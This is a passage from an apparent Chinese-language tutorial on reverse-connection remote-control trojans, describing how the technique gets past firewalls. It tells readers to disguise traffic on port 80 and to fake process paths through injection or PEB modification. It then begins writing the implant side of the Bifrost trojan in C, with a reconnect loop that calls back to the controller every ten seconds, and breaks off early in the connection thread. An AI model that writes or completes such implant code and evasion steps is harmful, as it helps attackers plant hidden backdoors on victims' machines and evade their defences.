
最初开发者为了解决IP变动问题采用的是控制端IP段端口扫描和被控端Email发信通知两种方法,显然这两种效率都是低下的。反弹端口模式由被控端主动连接控制端,做到了以不变或者一变应万变,所有的被控端只要知道控制端的IP和端口就可以主动连接上来。前面说的不变指得是控制端使用固定IP,一变就是控制端是动态IP,通知控制端IP目前主要使用DNS解析和URL转发两种方法。
早期的防火墙对内部发起的连接请求无条件信任,反弹端口模型就是利用了这个弱点来穿透防火墙。另外当反弹连接的端口为80的时候,也可以欺骗检查连接状态的用户,让其误以为是正常的Web访问连接。当然现在的防火墙早以是内外兼修了,因此现在很多远控的服务端通过远程注入或者修改PEB伪造进程路径为防火墙进程来达到欺骗和突破防火墙的目的。
言归正传,在有了反弹端口模式背景知识和基本原理之后,笔者介绍两种自己经常使用的反弹端口模式实现代码。一是基于阻塞SOCKET的反弹框架,另是基于异步选择SOCKET的反弹框架。这里笔者特意选择实现Bifrost1.102(彩虹桥木马)的被控端来增加本文的趣味性和成就感。
先看阻塞SOCKET的反弹框架。反弹模式中一般都有断线重连机制,这里使用循环来不断发起连接。代码如下:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//初始化WSA
WSADATA lpWSAData;
WSAStartup(MAKEWORD(1, 1), &lpWSAData);
while (1)
{
//开启连接控制端线程,并等待线程结束
HANDLE hThread;
DWORD dwThreadID;
hThread = CreateThread(NULL, 0, ConnectThread, NULL, 0, &dwThreadID);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
//休息10秒后再次发起连接
Sleep(10000);
}
// 卸载WSA
WSACleanup();
return 0;
}
在ConnectThread线程里先连接控制端,连接成功后循环读取命令指令并分配执行。代码如下:
DWORD _stdcall ConnectThread(LPVOID lParam)
{
SOCKET hSocket;
struct sockaddr_in LocalAddr;
hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);